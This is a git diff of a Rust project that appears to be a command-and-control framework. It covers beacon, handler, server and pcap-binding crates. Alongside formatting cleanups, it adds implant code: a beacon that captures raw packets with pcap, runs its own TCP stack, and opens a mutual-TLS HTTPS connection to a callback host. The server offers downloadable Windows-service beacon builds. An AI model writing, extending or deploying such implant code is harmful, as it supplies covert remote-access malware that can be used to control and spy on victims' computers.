diff --git a/Cargo.lock b/Cargo.lock index 578a354..c8a7ed7 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3496,8 +3496,14 @@ name = "sparse-windows-beacon" version = "2.0.0" dependencies = [ "anyhow", - "pcap-sys", + "async-trait", + "sparse-actions", + "sparse-beacon", + "thiserror 2.0.11", + "tokio", "windows", + "windows-result", + "windows-strings", "winreg", ] diff --git a/pcap-sys/src/ffi.rs b/pcap-sys/src/ffi.rs index a8c110c..3587141 100644 --- a/pcap-sys/src/ffi.rs +++ b/pcap-sys/src/ffi.rs @@ -163,7 +163,6 @@ extern "C" { pub fn pcap_setfilter(dev: *mut PcapDev, fp: *const BpfProgram) -> c_int; pub fn pcap_sendpacket(p: *mut PcapDev, buf: *const c_uchar, size: c_int) -> c_int; pub fn pcap_setnonblock(dev: *mut PcapDev, nonblock: c_int, errbuf: *mut c_char) -> c_int; - pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int; pub fn pcap_next_ex( p: *mut PcapDev, header: *mut *mut PktHeader, @@ -175,3 +174,8 @@ extern "C" { extern "C" { pub fn pcap_getevent(p: *mut PcapDev) -> windows::Win32::Foundation::HANDLE; } + +#[cfg(unix)] +extern "C" { + pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int; +} diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 20df86b..f841572 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -406,18 +406,18 @@ unsafe impl Sync for WaitHandle {} impl WaitHandle { #[cfg(windows)] pub fn wait(&self, timeout: Option) -> error::Result<()> { - use windows::Win32::System::Threading::{WaitForSingleObject, INFINITE}; + use windows::Win32::System::Threading::WaitForSingleObject; let timeout = timeout .map(|t| (t.as_millis() & 0xFFFFFFFF) as u32) .unwrap_or(50); - unsafe { - if WaitForSingleObject(self.0, timeout).0 != 0 { - Err(std::io::Error::last_os_error()).map_err(Into::into) - } else { - Ok(()) - } + let code = unsafe { WaitForSingleObject(self.0, timeout).0 }; + + if code == 0 || code == 0x102 { + Ok(()) + } else { + Err(std::io::Error::last_os_error()).map_err(Into::into) } } diff --git a/sparse-beacon/src/adapter.rs b/sparse-beacon/src/adapter.rs index 3900719..b21f24e 100644 --- a/sparse-beacon/src/adapter.rs +++ b/sparse-beacon/src/adapter.rs @@ -9,6 +9,7 @@ pub struct BeaconRoute { pub interface_index: usize, } +#[derive(Debug)] pub struct BeaconNetworkingInfo { pub routes: Vec, pub interfaces: Vec, diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs index 75878a0..237ed3a 100644 --- a/sparse-beacon/src/callback.rs +++ b/sparse-beacon/src/callback.rs @@ -1,32 +1,40 @@ -use std::{future::Future, pin::Pin, task::{self, Poll}}; +use std::{ + future::Future, + pin::Pin, + task::{self, Poll}, +}; use http::Uri; -use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}}; +use hyper_util::{ + client::legacy::Client, + rt::{TokioExecutor, TokioIo}, +}; use rustls::RootCertStore; use tower_service::Service; use sparse_actions::payload_types::Parameters; -use crate::{adapter, error, tcp::{self, setup_network}}; +use crate::{ + adapter, error, + tcp::{self, setup_network}, +}; #[derive(Clone)] pub struct ServerConnector where - T: adapter::BeaconAdapter + Clone + Send + 'static + T: adapter::BeaconAdapter + Clone + Send + 'static, { adapter: T, - parameters: Parameters + parameters: Parameters, } impl Service for ServerConnector where - T: adapter::BeaconAdapter + Clone + Send + Sync + 'static + T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, { type Response = TokioIo; type Error = error::BeaconError; - type Future = Pin> + Send - >>; + type Future = Pin> + Send>>; fn poll_ready(&mut self, _: &mut task::Context<'_>) -> Poll> { Poll::Ready(Ok(())) @@ -36,11 +44,7 @@ where Box::pin({ let adapter = self.adapter.clone(); let params = self.parameters.clone(); - async move { - setup_network(adapter, params) - .await - .map(TokioIo::new) - } + async move { setup_network(adapter, params).await.map(TokioIo::new) } }) } } @@ -52,32 +56,27 @@ pub async fn obtain_https_client( where T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, B: hyper::body::Body + Send, - ::Data: Send + ::Data: Send, { let server_cert = rustls::pki_types::CertificateDer::from( - parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned() + parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned(), ); let client_cert = rustls::pki_types::CertificateDer::from( - parameters.client_cert[..parameters.client_cert_length as usize].to_owned() + parameters.client_cert[..parameters.client_cert_length as usize].to_owned(), ); let client_key = rustls::pki_types::PrivateKeyDer::try_from( - parameters.client_key[..parameters.client_key_length as usize].to_owned() + parameters.client_key[..parameters.client_key_length as usize].to_owned(), ) - .map_err(|_| rustls::Error::InvalidCertificate( - rustls::CertificateError::BadEncoding - ))?; + .map_err(|_| rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding))?; let mut root_store = RootCertStore::empty(); root_store.add(server_cert.clone())?; let tls_config = rustls::ClientConfig::builder() .with_root_certificates(root_store) - .with_client_auth_cert( - vec![client_cert, server_cert], - client_key - )?; + .with_client_auth_cert(vec![client_cert, server_cert], client_key)?; let https = hyper_rustls::HttpsConnectorBuilder::new() .with_tls_config(tls_config) @@ -86,11 +85,10 @@ where .enable_http2() .wrap_connector(ServerConnector { adapter: adapter.clone(), - parameters: parameters.clone() + parameters: parameters.clone(), }); - let client = Client::builder(TokioExecutor::new()) - .build(https); + let client = Client::builder(TokioExecutor::new()).build(https); Ok(client) } diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index 1236248..59613f1 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -1,5 +1,8 @@ use sparse_actions::payload_types::Parameters; +use http_body_util::{BodyExt, Empty}; +use hyper::Request; + mod callback; mod socket; mod tcp; @@ -8,10 +11,26 @@ pub mod adapter; pub mod error; pub use error::BeaconError; -pub async fn run_beacon_step(host_adapter: A, params: Parameters) -> Result<(), BeaconError> +pub async fn run_beacon_step( + host_adapter: A, + params: Parameters, +) -> Result<(), BeaconError> where A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, { + let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; + + for _ in 1..5 { + let req = Request::builder() + .uri("https://sparse.com/hidden_sparse/test".parse::()?) + .body(Empty::::new())?; + let resp = client.request(req).await?; + + println!("{:?} {:?}", resp.version(), resp.status()); + let body = resp.into_body(); + let body = body.collect().await; + println!("{:?}", body); + } Ok(()) } diff --git a/sparse-beacon/src/socket.rs b/sparse-beacon/src/socket.rs index 266d20b..fd4895f 100644 --- a/sparse-beacon/src/socket.rs +++ b/sparse-beacon/src/socket.rs @@ -35,7 +35,11 @@ impl RawSocket { lower.activate()?; - lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + if cfg!(target_os = "linux") { + lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + } else { + lower.set_filter(&format!("arp or tcp port {port}"), true, None)?; + } Ok(Self { inner: SocketInner { lower }, diff --git a/sparse-beacon/src/tcp.rs b/sparse-beacon/src/tcp.rs index e017712..60ff625 100644 --- a/sparse-beacon/src/tcp.rs +++ b/sparse-beacon/src/tcp.rs @@ -5,6 +5,7 @@ use std::{ task::{Context, Poll}, }; +use hyper_util::client::legacy::connect; use smoltcp::{ iface::{Config, Interface, SocketHandle, SocketSet}, socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State}, @@ -13,10 +14,9 @@ use smoltcp::{ }; use tokio::{ io::{AsyncRead, AsyncWrite}, + sync::broadcast, task::{spawn_blocking, JoinHandle}, - sync::broadcast }; -use hyper_util::client::legacy::connect; use sparse_actions::payload_types::Parameters; @@ -32,7 +32,6 @@ pub struct NetInterfaceHandle { impl Drop for NetInterfaceHandle { fn drop(&mut self) { - println!("Running drop for net interface handle; {} copies exist", Arc::strong_count(&self.net)); let _ = self.close_background.send(()); self.background_process.abort(); } @@ -288,33 +287,33 @@ where ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?; } + if cfg!(debug_assertions) { + println!("Connected!"); + } let net = Arc::new(Mutex::new((sockets, device, iface))); let background_process = spawn_blocking({ let net = Arc::clone(&net); - move || { - loop { - if close_background_recv.try_recv().is_ok() { - println!("Running drop for background thread; {} copies exist", Arc::strong_count(&net)); - break; - } - - let delay = { - let Ok(mut guard) = net.lock() else { - continue; - }; - let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard; - - let timestamp = Instant::now(); - i_guard.poll(timestamp, d_guard, s_guard); - - i_guard.poll_delay(timestamp, s_guard) - }; - - let _ = ready_wait.wait(delay.map(Into::into)); + move || loop { + if close_background_recv.try_recv().is_ok() { + break; } + + let delay = { + let Ok(mut guard) = net.lock() else { + continue; + }; + let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard; + + let timestamp = Instant::now(); + i_guard.poll(timestamp, d_guard, s_guard); + + i_guard.poll_delay(timestamp, s_guard) + }; + + let _ = ready_wait.wait(delay.map(Into::into)); } }); diff --git a/sparse-handler/src/lib.rs b/sparse-handler/src/lib.rs index e6f25be..f373495 100644 --- a/sparse-handler/src/lib.rs +++ b/sparse-handler/src/lib.rs @@ -5,7 +5,7 @@ use std::{ use axum::routing::{Router, get, post}; use rcgen::{Certificate, CertificateParams, KeyPair}; -use rustls::{server::WebPkiClientVerifier, RootCertStore}; +use rustls::{RootCertStore, server::WebPkiClientVerifier}; use sqlx::SqlitePool; use tokio::task::JoinHandle; @@ -129,9 +129,7 @@ pub async fn start_listener( let ca_cert = ca_params.self_signed(&ca_keypair)?; let server_key = KeyPair::generate()?; - let Ok(server_params) = CertificateParams::new( - vec![listener.domain_name.clone()] - ) else { + let Ok(server_params) = CertificateParams::new(vec![listener.domain_name.clone()]) else { return Err(crate::error::Error::Generic(format!( "Could not generate new server keychain" ))); @@ -154,8 +152,7 @@ pub async fn start_listener( let mut root_store = RootCertStore::empty(); root_store.add(ca_cert)?; - let client_verifier = WebPkiClientVerifier::builder(root_store.into()) - .build()?; + let client_verifier = WebPkiClientVerifier::builder(root_store.into()).build()?; let mut tls_config = rustls::ServerConfig::builder() .with_client_cert_verifier(client_verifier) diff --git a/sparse-server/src/beacons/templates.rs b/sparse-server/src/beacons/templates.rs index 561dc15..1461c52 100644 --- a/sparse-server/src/beacons/templates.rs +++ b/sparse-server/src/beacons/templates.rs @@ -458,7 +458,7 @@ pub fn DisplayTemplates( "Download beacon (Windows Service)" })} - {(template.operating_system != "windows") + {/*(template.operating_system != "windows") .then(|| view! { "Download beacon (Unix loader)" - })} + })*/}